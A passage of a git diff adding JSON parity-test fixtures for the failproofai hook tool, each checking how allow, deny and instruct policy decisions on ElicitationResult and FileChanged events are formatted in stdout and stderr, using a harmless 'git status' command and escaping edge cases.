"projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..05372fc3 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..93a7c443 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b3156703 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..2da97ba0 --- /dev/null +++ b/__tests__/parity/fixtures/pi/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..173a5e64 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e8007b7c --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9ae48713 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..92092e21 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dbfbb2c7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..c6783ce9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a2d5ce6c --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..7ffa554a --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b26b3d07 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..47b96ef9 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..92ac86e8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a94dab89 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..173fd830 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e1eb60f7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1071d4d1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", 